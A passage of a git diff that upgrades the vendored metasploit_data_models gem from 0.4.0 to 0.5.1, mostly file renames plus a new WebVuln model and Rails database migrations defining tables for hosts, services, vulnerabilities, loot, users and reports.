b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/loot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/macro.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/macro.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/mod_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/mod_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_action.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_action.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_arch.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_arch.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_author.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_author.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_mixin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_mixin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_platform.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_platform.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/nexpose_console.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/nexpose_console.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/note.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/note.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/profile.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/profile.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report_template.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report_template.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/route.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/route.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/service.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/service.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session_event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session_event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/task.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/task.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_form.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_form.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_page.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_page.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_site.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_site.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb new file mode 100755 index 0000000000..4577818842 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb @@ -0,0 +1,144 @@ +# A Web Vulnerability found during a web scan or web audit. +# +# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) in side an initializer so that +# your patches are reloaded on each request in development mode for your Rails application. +# +# @example extending Mdm::WebVuln +# # config/initializers/mdm_web_vuln.rb +# ActiveSupport.on_load(:mdm_web_vuln) do +# def confidence_percentage +# "#{confidence}%" +# end +# end +class Mdm::WebVuln < ActiveRecord::Base + # + # CONSTANTS + # + + # A percentage {#confidence} that the vulnerability is real and not a false positive. 0 is not allowed because there + # shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding. + CONFIDENCE_RANGE = 1 .. 100 + + # Allowed {#method methods}. + METHODS = [ + 'GET', + # XXX I don't know why PATH is a valid method when it's not an HTTP Method/Verb + 'PATH', + 'POST' + ] + + # {#risk Risk} is rated on a scale from 0 (least risky) to 5 (most risky). + RISK_RANGE = 0 .. 5 + + # + # Associations + # + + belongs_to :web_site, :class_name => 'Mdm::WebSite' + + # + # Attributes + # + + # @!attribute [rw] blame + # Who to blame for the vulnerability + # + # @return [String] + + # @!attribute [rw] category + # Category of this vulnerability. + # + # @return [String] + + # @!attribute [rw] confidence + # Percentage confidence scanner or auditor has that this vulnerability is not a false positive + # + # @return [Integer] 1% to 100% + + # @!attribute [rw] description + # Description of the vulnerability + # + # @return [String, nil] + + # @!attribute [rw] method + # HTTP Methods for request that found vulnerability. 'PATH' is also allowed even though it is not an HTTP Method. + # + # @return [String] + # @see METHODS + + # @!attribute [rw] name + # Name of the vulnerability + # + # @return [String] + + # @!attribute [rw] path + # Path portion of URL + # + # @return [String] + + # @!attribute [rw] payload + # Web audit payload that gets executed by the remote server. Used for code injection vulnerabilities. + # + # @return [String, nil] + + # @!attribute [rw] pname + # Name of parameter that demonstrates vulnerability + # + # @return [String] + + # @!attribute [rw] proof + # String that proves vulnerability, such as a code snippet, etc. + # + # @return [String] + + # @!attribute [rw] query + # The GET query. + # + # @return [String] + + # @!attribute [rw] request + # + # @return [String] + + # @!attribute [rw] risk + # {RISK_RANGE Risk} of leaving this vulnerability unpatched. + # + # @return [Integer] + + # + # Validations + # + + validates :category, :presence => true + validates :confidence, + :inclusion => { + :in => CONFIDENCE_RANGE + } + validates :method, + :inclusion => { + :in => METHODS + } + validates :name, :presence => true + validates :path, :presence => true + validates :params, :presence => true + validates :pname, :presence => true + validates :proof, :presence => true + validates :risk, + :inclusion => { + :in => RISK_RANGE + } + validates :web_site, :presence => true + + # + # Serializations + # + + # @!attribute [rw] params + # Parameters sent as part of request + # + # @return [Array>] Array of parameter key value pairs + serialize :params, MetasploitDataModels::Base64Serializer.new + + ActiveSupport.run_load_hooks(:mdm_web_vuln, self) +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_request.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_request.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/workspace.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/workspace.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/bin/mdm_console b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/bin/mdm_console rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/console_db.yml b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/console_db.yml rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb new file mode 100755 index 0000000000..efda742476 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb @@ -0,0 +1,79 @@ +class CreateTables < ActiveRecord::Migration + + def self.up + + create_table :hosts do |t| + t.timestamp :created + t.string :address, :limit => 16 # unique + t.string :address6 + t.string :mac + t.string :comm + t.string :name + t.string :state + t.string :info, :limit => 1024 + t.string :os_name + t.string :os_flavor + t.string :os_sp + t.string :os_lang + t.string :arch + end + + add_index :hosts, :address, :unique => true + + create_table :clients do |t| + t.integer :host_id + t.timestamp :created + t.string :ua_string, :limit => 1024, :null => false + t.string :ua_name, :limit => 64 + t.string :ua_ver, :limit => 32 + end + + create_table :services do |t| + t.integer :host_id + t.timestamp :created + t.integer :port, :null => false + t.string :proto, :limit => 16, :null => false + t.string :state + t.string :name + t.string :info, :limit => 1024 + end + + create_table :vulns do |t| + t.integer :host_id + t.integer :service_id + t.timestamp :created + t.string :name + t.text :data + end + + create_table :refs do |t| + t.integer :ref_id + t.timestamp :created + t.string :name, :limit => 512 + end + + create_table :vulns_refs, :id => false do |t| + t.integer :ref_id + t.integer :vuln_id + end + + create_table :notes do |t| + t.integer :host_id + t.timestamp :created + t.string :ntype, :limit => 512 + t.text :data + end + + end + + def self.down + drop_table :hosts + drop_table :clients + drop_table :services + drop_table :vulns + drop_table :refs + drop_table :vulns_refs + drop_table :notes + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb new file mode 100755 index 0000000000..e0d37098c2 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb @@ -0,0 +1,35 @@ +class AddWmapTables < ActiveRecord::Migration + def self.up + create_table :wmap_targets do |t| + t.string :host # vhost + t.string :address, :limit => 16 # unique + t.string :address6 + t.integer :port + t.integer :ssl + t.integer :selected + end + + create_table :wmap_requests do |t| + t.string :host # vhost + t.string :address, :limit => 16 # unique + t.string :address6 + t.integer :port + t.integer :ssl + t.string :meth, :limit => 32 + t.text :path + t.text :headers + t.text :query + t.text :body + t.string :respcode, :limit => 16 + t.text :resphead + t.text :response + t.timestamp :created + end + end + + def self.down + drop_table :wmap_targets + drop_table :wmap_requests + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb new file mode 100755 index 0000000000..9afe792ef5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb @@ -0,0 +1,36 @@ +class AddWorkspaces < ActiveRecord::Migration + + def self.up + create_table :workspaces do |t| + t.string :name + t.timestamps + end + + change_table :hosts do |t| + t.integer :workspace_id, :required => true + end + + remove_index :hosts, :column => :address + + # + # This was broken after 018_add_workspace_user_info was introduced + # because of the new boundary column. For some reason, the + # find_or_create_by_name that .default eventually calls here tries to + # create a record with the boundary field that doesn't exist yet. + # See #1724 + # + #w = Msf::DBManager::Workspace.default + #Msf::DBManager::Host.update_all ["workspace_id = ?", w.id] + end + + def self.down + drop_table :workspaces + + change_table :hosts do |t| + t.remove :workspace_id + end + + add_index :hosts, :address, :unique => true + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb new file mode 100755 index 0000000000..3aedba8e20 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb @@ -0,0 +1,20 @@ +class MoveNotes < ActiveRecord::Migration + def self.up + # Remove the host requirement. We'll add the column back in below. + remove_column :notes, :host_id + change_table :notes do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.integer :service_id + t.integer :host_id + end + end + + def self.down + remove_column :notes, :workspace_id + remove_column :notes, :service_id + change_table :notes do |t| + t.integer :host_id, :null => false + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb new file mode 100755 index 0000000000..a89d75281e --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb @@ -0,0 +1,16 @@ +class AddEventsTable < ActiveRecord::Migration + def self.up + create_table :events do |t| + t.integer :workspace_id + t.integer :host_id + t.timestamp :created_at + t.string :user + t.string :name + t.string :info + end + end + def self.down + drop_table :events + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb new file mode 100755 index 0000000000..bd34021e11 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb @@ -0,0 +1,58 @@ +class ExpandInfo < ActiveRecord::Migration + def self.up + remove_column :events, :info + change_table :events do |t| + t.string :info, :limit => 4096 + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 4096 + end + + remove_column :vulns, :data + change_table :vulns do |t| + t.string :data, :limit => 4096 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 4096 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 4096 + end + end + + def self.down + + remove_column :events, :info + change_table :events do |t| + t.string :info + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 1024 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 1024 + end + + remove_column :vulns, :data + change_table :hosts do |t| + t.string :data, :limit => 1024 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 1024 + end + + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb new file mode 100755 index 0000000000..446a83aa29 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb @@ -0,0 +1,26 @@ + +# Adds 'created_at' and 'updated_at' columns to every primary table. +# +class AddTimestamps < ActiveRecord::Migration + + @@TABLES_NEEDING_RENAME = [:clients, :hosts, :notes, :refs, :services, :vulns, :wmap_requests] + @@TABLES_NEEDING_CREATED_AT = [:wmap_targets] + @@TABLES_NEEDING_UPDATED_AT = [:clients, :events, :hosts, :notes, :refs, :services, :vulns, :wmap_requests, :wmap_targets] + + def self.up + @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created, :created_at } + + @@TABLES_NEEDING_CREATED_AT.each { |t| add_column t, :created_at, :datetime } + + @@TABLES_NEEDING_UPDATED_AT.each { |t| add_column t, :updated_at, :datetime } + end + + def self.down + @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created_at, :created } + + @@TABLES_NEEDING_CREATED_AT.each { |t| remove_column t, :created_at } + + @@TABLES_NEEDING_UPDATED_AT.each { |t| remove_column t, :updated_at } + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb new file mode 100755 index 0000000000..32786f8cfb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb @@ -0,0 +1,20 @@ +class AddLoots < ActiveRecord::Migration + + def self.up + create_table :loots do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.integer :host_id + t.integer :service_id + t.string :ltype, :limit => 512 + t.string :path, :limit => 1024 + t.text :data + t.timestamps + end + end + + def self.down + drop_table :loots + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb new file mode 100755 index 0000000000..4cc32cc6e4 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb @@ -0,0 +1,16 @@ +class CreateUsers < ActiveRecord::Migration + def self.up + create_table :users do |t| + t.string :username + t.string :crypted_password + t.string :password_salt + t.string :persistence_token + + t.timestamps + end + end + + def self.down + drop_table :users + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb new file mode 100755 index 0000000000..0aad1366fb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb @@ -0,0 +1,10 @@ +class AddLootsCtype < ActiveRecord::Migration + def self.up + add_column :loots, :content_type, :string + end + + def self.down + remove_column :loots, :content_type + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb new file mode 100755 index 0000000000..f99dd68d32 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb @@ -0,0 +1,16 @@ +class AddAlertFields < ActiveRecord::Migration + def self.up + add_column :notes, :critical, :boolean + add_column :notes, :seen, :boolean + add_column :events, :critical, :boolean + add_column :events, :seen, :boolean + end + + def self.down + remove_column :notes, :critical + remove_column :notes, :seen + remove_column :events, :critical + remove_column :events, :seen + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb new file mode 100755 index 0000000000..2f16e8b70d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb @@ -0,0 +1,19 @@ +class AddReports < ActiveRecord::Migration + + def self.up + create_table :reports do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :created_by + t.string :rtype + t.string :path, :limit => 1024 + 